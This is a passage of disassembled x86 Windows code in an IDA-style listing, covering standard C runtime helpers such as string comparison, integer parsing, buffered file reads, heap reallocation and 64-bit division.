mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_40BE50 endp
; =============== S U B R O U T I N E =======================================
sub_40C185 proc near ; CODE XREF: sub_402864+34p
; sub_402864+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_40B6D1
pop ecx
pop ecx
retn
sub_40C185 endp
; =============== S U B R O U T I N E =======================================
sub_40C193 proc near ; CODE XREF: sub_40C200+4p
arg_0 = dword ptr 4
push esi
push dword_480F9C
call sub_411478
mov edx, dword_480F9C
pop ecx
mov ecx, dword_480F98
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_40C1F2
push edx
call sub_411478
add eax, 10h
push eax
push dword_480F9C
call sub_40C4F8
add esp, 0Ch
test eax, eax
jnz short loc_40C1D5
retn
; ---------------------------------------------------------------------------
loc_40C1D5: ; CODE XREF: sub_40C193+3Fj
mov ecx, dword_480F98
sub ecx, dword_480F9C
mov dword_480F9C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_480F98, ecx
loc_40C1F2: ; CODE XREF: sub_40C193+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_480F98, 4
retn
sub_40C193 endp
; =============== S U B R O U T I N E =======================================
sub_40C200 proc near ; CODE XREF: sub_402951+1Ap
; sub_41641E+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_40C193
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_40C200 endp
; =============== S U B R O U T I N E =======================================
sub_40C212 proc near ; DATA XREF: .nsp0:00419014o
push 80h
call sub_40B6BF
test eax, eax
pop ecx
mov dword_480F9C, eax
jnz short loc_40C233
push 18h
call sub_40D60A
mov eax, dword_480F9C
pop ecx
loc_40C233: ; CODE XREF: sub_40C212+12j
and dword ptr [eax], 0
mov eax, dword_480F9C
mov dword_480F98, eax
retn
sub_40C212 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C250 proc near ; CODE XREF: sub_40304D+1Dp
; sub_403A2E+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_40C29C
loc_40C260: ; CODE XREF: sub_40C250+3Cj
; sub_40C250+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_40C294
or al, al
jz short loc_40C290
cmp ah, [ecx+1]
jnz short loc_40C294
or ah, ah
jz short loc_40C290
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_40C294
or al, al
jz short loc_40C290
cmp ah, [ecx+3]
jnz short loc_40C294
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_40C260
mov edi, edi
loc_40C290: ; CODE XREF: sub_40C250+18j
; sub_40C250+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_40C294: ; CODE XREF: sub_40C250+14j
; sub_40C250+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_40C29C: ; CODE XREF: sub_40C250+Ej
test edx, 1
jz short loc_40C2B8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_40C294
inc ecx
or al, al
jz short loc_40C290
test edx, 2
jz short loc_40C260
loc_40C2B8: ; CODE XREF: sub_40C250+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_40C294
or al, al
jz short loc_40C290
cmp ah, [ecx+1]
jnz short loc_40C294
or ah, ah
jz short loc_40C290
add ecx, 2
jmp short loc_40C260
sub_40C250 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2D4 proc near ; CODE XREF: sub_40450F+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_40D768
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_40C312
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_40C31F
; ---------------------------------------------------------------------------
loc_40C312: ; CODE XREF: sub_40C2D4+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_40D653
pop ecx
pop ecx
loc_40C31F: ; CODE XREF: sub_40C2D4+3Cj
mov eax, esi
pop esi
leave
retn
sub_40C2D4 endp
; =============== S U B R O U T I N E =======================================
sub_40C324 proc near ; CODE XREF: sub_40C3AF+4p
; sub_414438+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_40C32C: ; CODE XREF: sub_40C324+34j
cmp dword_41FF84, 1
jle short loc_40C344
movzx eax, byte ptr [edi]
push 8
push eax
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40C353
; ---------------------------------------------------------------------------
loc_40C344: ; CODE XREF: sub_40C324+Fj
movzx eax, byte ptr [edi]
mov ecx, off_41FD78
mov al, [ecx+eax*2]
and eax, 8
loc_40C353: ; CODE XREF: sub_40C324+1Ej
test eax, eax
jz short loc_40C35A
inc edi
jmp short loc_40C32C
; ---------------------------------------------------------------------------
loc_40C35A: ; CODE XREF: sub_40C324+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_40C36A
cmp esi, 2Bh
jnz short loc_40C36E
loc_40C36A: ; CODE XREF: sub_40C324+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_40C36E: ; CODE XREF: sub_40C324+44j
xor ebx, ebx
loc_40C370: ; CODE XREF: sub_40C324+7Bj
cmp dword_41FF84, 1
jle short loc_40C385
push 4
push esi
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40C390
; ---------------------------------------------------------------------------
loc_40C385: ; CODE XREF: sub_40C324+53j
mov eax, off_41FD78
mov al, [eax+esi*2]
and eax, 4
loc_40C390: ; CODE XREF: sub_40C324+5Fj
test eax, eax
jz short loc_40C3A1
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_40C370
; ---------------------------------------------------------------------------
loc_40C3A1: ; CODE XREF: sub_40C324+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_40C3AA
neg eax
loc_40C3AA: ; CODE XREF: sub_40C324+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40C324 endp
; =============== S U B R O U T I N E =======================================
sub_40C3AF proc near ; CODE XREF: sub_403E11+45Cp
; sub_403E11+46Bp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_40C324
pop ecx
retn
sub_40C3AF endp
; =============== S U B R O U T I N E =======================================
sub_40C3BA proc near ; CODE XREF: sub_40327E+62p
; sub_404475+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_40C3CF
or eax, 0FFFFFFFFh
jmp short loc_40C409
; ---------------------------------------------------------------------------
loc_40C3CF: ; CODE XREF: sub_40C3BA+Ej
test al, 83h
jz short loc_40C407
push esi
call sub_41169D
push esi
mov edi, eax
call sub_411637
push dword ptr [esi+10h]
call sub_411584
add esp, 0Ch
test eax, eax
jge short loc_40C3F5
or edi, 0FFFFFFFFh
jmp short loc_40C407
; ---------------------------------------------------------------------------
loc_40C3F5: ; CODE XREF: sub_40C3BA+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_40C407
push eax
call sub_40B771
and dword ptr [esi+1Ch], 0
pop ecx
loc_40C407: ; CODE XREF: sub_40C3BA+17j
; sub_40C3BA+39j ...
mov eax, edi
loc_40C409: ; CODE XREF: sub_40C3BA+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_40C3BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C410 proc near ; CODE XREF: sub_40327E+43p
; sub_404475+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_40C434
xor eax, eax
jmp loc_40C4DD
; ---------------------------------------------------------------------------
loc_40C434: ; CODE XREF: sub_40C410+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_40C447
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_40C453
; ---------------------------------------------------------------------------
loc_40C447: ; CODE XREF: sub_40C410+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_40C453
; ---------------------------------------------------------------------------
loc_40C450: ; CODE XREF: sub_40C410+C4j
mov ecx, [ebp+arg_0]
loc_40C453: ; CODE XREF: sub_40C410+35j
; sub_40C410+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_40C485
mov eax, [esi+4]
test eax, eax
jz short loc_40C485
cmp ecx, eax
mov edi, ecx
jb short loc_40C46A
mov edi, eax
loc_40C46A: ; CODE XREF: sub_40C410+56j
push edi
push dword ptr [esi]
push ebx
call sub_40B210
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_40C4D0
; ---------------------------------------------------------------------------
loc_40C485: ; CODE XREF: sub_40C410+49j
; sub_40C410+50j
cmp ecx, [ebp+arg_C]
jb short loc_40C4B8
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_40C49B
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_40C49B: ; CODE XREF: sub_40C410+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_411848
add esp, 0Ch
test eax, eax
jz short loc_40C4E2
cmp eax, 0FFFFFFFFh
jz short loc_40C4E8
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_40C4D0
; ---------------------------------------------------------------------------
loc_40C4B8: ; CODE XREF: sub_40C410+78j
push esi
call sub_41176F
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_40C4EC
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_40C4D0: ; CODE XREF: sub_40C410+73j
; sub_40C410+A6j
cmp [ebp+arg_0], 0
jnz loc_40C450
mov eax, [ebp+arg_8]
loc_40C4DD: ; CODE XREF: sub_40C410+1Fj
; sub_40C410+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40C4E2: ; CODE XREF: sub_40C410+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_40C4EC
; ---------------------------------------------------------------------------
loc_40C4E8: ; CODE XREF: sub_40C410+9Fj
or dword ptr [esi+0Ch], 20h
loc_40C4EC: ; CODE XREF: sub_40C410+B2j
; sub_40C410+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_40C4DD
sub_40C410 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C4F8 proc near ; CODE XREF: sub_40327E+2Cp
; sub_40C193+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_40C513
push [ebp+arg_4]
call sub_40B6BF
pop ecx
jmp loc_40C793
; ---------------------------------------------------------------------------
loc_40C513: ; CODE XREF: sub_40C4F8+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_40C528
push [ebp+arg_0]
call sub_40B771
pop ecx
jmp loc_40C791
; ---------------------------------------------------------------------------
loc_40C528: ; CODE XREF: sub_40C4F8+20j
mov eax, dword_480F88
cmp eax, 3
jnz loc_40C638
loc_40C536: ; CODE XREF: sub_40C4F8+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_40C614
push [ebp+arg_0]
call sub_40EC58
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_40C5EF
cmp esi, dword_480F80
ja short loc_40C5A8
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_40F461
add esp, 0Ch
test eax, eax
jnz short loc_40C5A4
push esi
call sub_40EFAC
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C5A8
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_40C588
mov eax, esi
loc_40C588: ; CODE XREF: sub_40C4F8+8Cj
push eax
push ebx
push edi
call sub_40B210
push ebx
call sub_40EC58
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_40EC83
add esp, 18h
loc_40C5A4: ; CODE XREF: sub_40C4F8+74j
test edi, edi
jnz short loc_40C5EB
loc_40C5A8: ; CODE XREF: sub_40C4F8+62j
; sub_40C4F8+81j
test esi, esi
jnz short loc_40C5AF
push 1
pop esi
loc_40C5AF: ; CODE XREF: sub_40C4F8+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_480F84
call dword_417104 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_40C5EB
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_40C5D7
mov eax, esi
loc_40C5D7: ; CODE XREF: sub_40C4F8+DBj
push eax
push ecx
push edi
call sub_40B210
push [ebp+arg_0]
push ebx
call sub_40EC83
add esp, 14h
loc_40C5EB: ; CODE XREF: sub_40C4F8+AEj
; sub_40C4F8+D0j
test ebx, ebx
jnz short loc_40C610
loc_40C5EF: ; CODE XREF: sub_40C4F8+56j
test esi, esi
jnz short loc_40C5F6
push 1
pop esi
loc_40C5F6: ; CODE XREF: sub_40C4F8+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_480F84
call dword_417110 ; RtlReAllocateHeap
mov edi, eax
loc_40C610: ; CODE XREF: sub_40C4F8+F5j
test edi, edi
jnz short loc_40C631
loc_40C614: ; CODE XREF: sub_40C4F8+43j
cmp dword_47F96C, 0
jz short loc_40C631
push esi
call sub_40EA23
test eax, eax
pop ecx
jnz loc_40C536
jmp loc_40C791
; ---------------------------------------------------------------------------
loc_40C631: ; CODE XREF: sub_40C4F8+11Aj
; sub_40C4F8+123j ...
mov eax, edi
jmp loc_40C793
; ---------------------------------------------------------------------------
loc_40C638: ; CODE XREF: sub_40C4F8+38j
cmp eax, 2
jnz loc_40C753
cmp esi, 0FFFFFFE0h
ja short loc_40C655
test esi, esi
jbe short loc_40C652
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_40C655
; ---------------------------------------------------------------------------
loc_40C652: ; CODE XREF: sub_40C4F8+150j
push 10h
pop esi
loc_40C655: ; CODE XREF: sub_40C4F8+14Cj
; sub_40C4F8+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_40C735
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_40F9B3
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_40C719
cmp esi, dword_41FC34
jnb short loc_40C6DD
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_40FD7B
add esp, 10h
test eax, eax
jz short loc_40C6A3
mov edi, [ebp+arg_0]
jmp short loc_40C6D5
; ---------------------------------------------------------------------------
loc_40C6A3: ; CODE XREF: sub_40C4F8+1A4j
push edi
call sub_40FA4F
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C6DD
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_40C6BC
mov eax, esi
loc_40C6BC: ; CODE XREF: sub_40C4F8+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_40B210
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_40FA0A
add esp, 18h
loc_40C6D5: ; CODE XREF: sub_40C4F8+1A9j
test edi, edi
jnz loc_40C631
loc_40C6DD: ; CODE XREF: sub_40C4F8+18Bj
; sub_40C4F8+1B6j
push esi
push 0
push dword_480F84
call dword_417104 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_40C735
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_40C6FE
mov eax, esi
loc_40C6FE: ; CODE XREF: sub_40C4F8+202j
push eax
push [ebp+arg_0]
push edi
call sub_40B210
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_40FA0A
add esp, 18h
jmp short loc_40C72D
; ---------------------------------------------------------------------------
loc_40C719: ; CODE XREF: sub_40C4F8+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_480F84
call dword_417110 ; RtlReAllocateHeap
mov edi, eax
loc_40C72D: ; CODE XREF: sub_40C4F8+21Fj
test edi, edi
jnz loc_40C631
loc_40C735: ; CODE XREF: sub_40C4F8+162j
; sub_40C4F8+1F8j
cmp dword_47F96C, 0
jz loc_40C631
push esi
call sub_40EA23
test eax, eax
pop ecx
jnz loc_40C655
jmp short loc_40C791
; ---------------------------------------------------------------------------
loc_40C753: ; CODE XREF: sub_40C4F8+143j
; sub_40C4F8+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_40C77D
test esi, esi
jnz short loc_40C761
push 1
pop esi
loc_40C761: ; CODE XREF: sub_40C4F8+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_480F84
call dword_417110 ; RtlReAllocateHeap
test eax, eax
jnz short loc_40C793
loc_40C77D: ; CODE XREF: sub_40C4F8+260j
cmp dword_47F96C, 0
jz short loc_40C793
push esi
call sub_40EA23
test eax, eax
pop ecx
jnz short loc_40C753
loc_40C791: ; CODE XREF: sub_40C4F8+2Bj
; sub_40C4F8+134j ...
xor eax, eax
loc_40C793: ; CODE XREF: sub_40C4F8+16j
; sub_40C4F8+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_40C4F8 endp
; =============== S U B R O U T I N E =======================================
sub_40C798 proc near ; CODE XREF: sub_40C7B8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_411BAE
test eax, eax
jnz short loc_40C7A2
retn
; ---------------------------------------------------------------------------
loc_40C7A2: ; CODE XREF: sub_40C798+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_411A3E
add esp, 10h
retn
sub_40C798 endp
; =============== S U B R O U T I N E =======================================
sub_40C7B8 proc near ; CODE XREF: sub_40327E+18p
; sub_404475+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40C798
add esp, 0Ch
retn
sub_40C7B8 endp
; =============== S U B R O U T I N E =======================================
sub_40C7CB proc near ; CODE XREF: sub_4037EA+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_4170B8 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_40C7EB
call dword_417044 ; RtlGetLastWin32Error
push eax
call sub_411C26
pop ecx
loc_40C7E7: ; CODE XREF: sub_40C7CB+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40C7EB: ; CODE XREF: sub_40C7CB+Dj
test al, 1
jz short loc_40C80C
test [esp+arg_4], 2
jz short loc_40C80C
mov dword_47F914, 0Dh
mov dword_47F918, 5
jmp short loc_40C7E7
; ---------------------------------------------------------------------------
loc_40C80C: ; CODE XREF: sub_40C7CB+22j
; sub_40C7CB+29j
xor eax, eax
retn
sub_40C7CB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C810 proc near ; CODE XREF: sub_403804+3Fp
; sub_40A143+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_40C832
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_40C873
; ---------------------------------------------------------------------------
loc_40C832: ; CODE XREF: sub_40C810+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_40C840: ; CODE XREF: sub_40C810+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40C840
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_40C86E
cmp edx, [esp+8+arg_4]
ja short loc_40C86E
jb short loc_40C86F
cmp eax, [esp+8+arg_0]
jbe short loc_40C86F
loc_40C86E: ; CODE XREF: sub_40C810+4Ej
; sub_40C810+54j
dec esi
loc_40C86F: ; CODE XREF: sub_40C810+56j
; sub_40C810+5Cj
xor edx, edx
mov eax, esi
loc_40C873: ; CODE XREF: sub_40C810+20j
pop esi
pop ebx
retn 10h
sub_40C810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C880 proc near ; CODE XREF: sub_403804+2Dp
; sub_40A143+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_40C8A1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_40C8F1
; ---------------------------------------------------------------------------
loc_40C8A1: ; CODE XREF: sub_40C880+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_40C8AF: ; CODE XREF: sub_40C880+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40C8AF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_40C8DA
cmp edx, [esp+4+arg_4]
ja short loc_40C8DA
jb short loc_40C8E2
cmp eax, [esp+4+arg_0]
jbe short loc_40C8E2
loc_40C8DA: ; CODE XREF: sub_40C880+4Aj
; sub_40C880+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_40C8E2: ; CODE XREF: sub_40C880+52j
; sub_40C880+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_40C8F1: ; CODE XREF: sub_40C880+1Fj
pop ebx
retn 10h
sub_40C880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C900 proc near ; CODE XREF: sub_403913+5Fp
; sub_403913+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_40C921
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_40C921: ; CODE XREF: sub_40C900+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_40C93D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_40C93D: ; CODE XREF: sub_40C900+27j
or eax, eax
jnz short loc_40C959
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_40C99A
; ---------------------------------------------------------------------------
loc_40C959: ; CODE XREF: sub_40C900+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_40C967: ; CODE XREF: sub_40C900+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_40C967
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_40C995
cmp edx, [esp+0Ch+arg_4]
ja short loc_40C995
jb short loc_40C996
cmp eax, [esp+0Ch+arg_0]
jbe short loc_40C996
loc_40C995: ; CODE XREF: sub_40C900+85j
; sub_40C900+8Bj
dec esi
loc_40C996: ; CODE XREF: sub_40C900+8Dj
; sub_40C900+93j
xor edx, edx
mov eax, esi
loc_40C99A: ; CODE XREF: sub_40C900+57j
dec edi
jnz short loc_40C9A4
neg edx
neg eax
sbb edx, 0
loc_40C9A4: ; CODE XREF: sub_40C900+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_40C900 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C9B0 proc near ; CODE XREF: sub_403C6B+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_40C9FC
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_40C9FD
test eax, 1
jz short loc_40C9DD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_40CA2A
inc esi
inc edi
dec eax
jz short loc_40C9FA
loc_40C9DD: ; CODE XREF: sub_40C9B0+20j
; sub_40C9B0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_40CA2A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_40CA2A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_40C9DD
loc_40C9FA: ; CODE XREF: sub_40C9B0+2Bj
; sub_40C9B0+84j
pop edi
pop esi
locret_40C9FC: ; CODE XREF: sub_40C9B0+6j
retn
; ---------------------------------------------------------------------------
loc_40C9FD: ; CODE XREF: sub_40C9B0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_40CA32
repe cmpsd
jz short loc_40CA32
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_40CA25
cmp ch, dh
jnz short loc_40CA25
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_40CA25
cmp ch, dh
loc_40CA25: ; CODE XREF: sub_40C9B0+63j
; sub_40C9B0+67j ...
mov eax, 0
loc_40CA2A: ; CODE XREF: sub_40C9B0+26j
; sub_40C9B0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_40CA32: ; CODE XREF: sub_40C9B0+55j
; sub_40C9B0+59j
test eax, eax
jz short loc_40C9FA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_40CA25
dec eax
jz short loc_40CA59
cmp dh, ch
jnz short loc_40CA25
dec eax
jz short loc_40CA59
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_40CA25
dec eax
loc_40CA59: ; CODE XREF: sub_40C9B0+8Fj
; sub_40C9B0+96j
pop edi
pop esi
retn
sub_40C9B0 endp
; =============== S U B R O U T I N E =======================================
sub_40CA5C proc near ; CODE XREF: sub_40EA6B+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_40CA73
add esp, 10h
retn
sub_40CA5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA73 proc near ; CODE XREF: sub_40CA5C+Ep
; sub_40CC7B+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_40CA8B: ; CODE XREF: sub_40CA73+46j
cmp dword_41FF84, 1
jle short loc_40CAA3
movzx eax, bl
push 8
push eax
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40CAB2
; ---------------------------------------------------------------------------
loc_40CAA3: ; CODE XREF: sub_40CA73+1Fj
mov ecx, off_41FD78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_40CAB2: ; CODE XREF: sub_40CA73+2Ej
test eax, eax
jz short loc_40CABB
mov bl, [esi]
inc esi
jmp short loc_40CA8B
; ---------------------------------------------------------------------------
loc_40CABB: ; CODE XREF: sub_40CA73+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_40CAC9
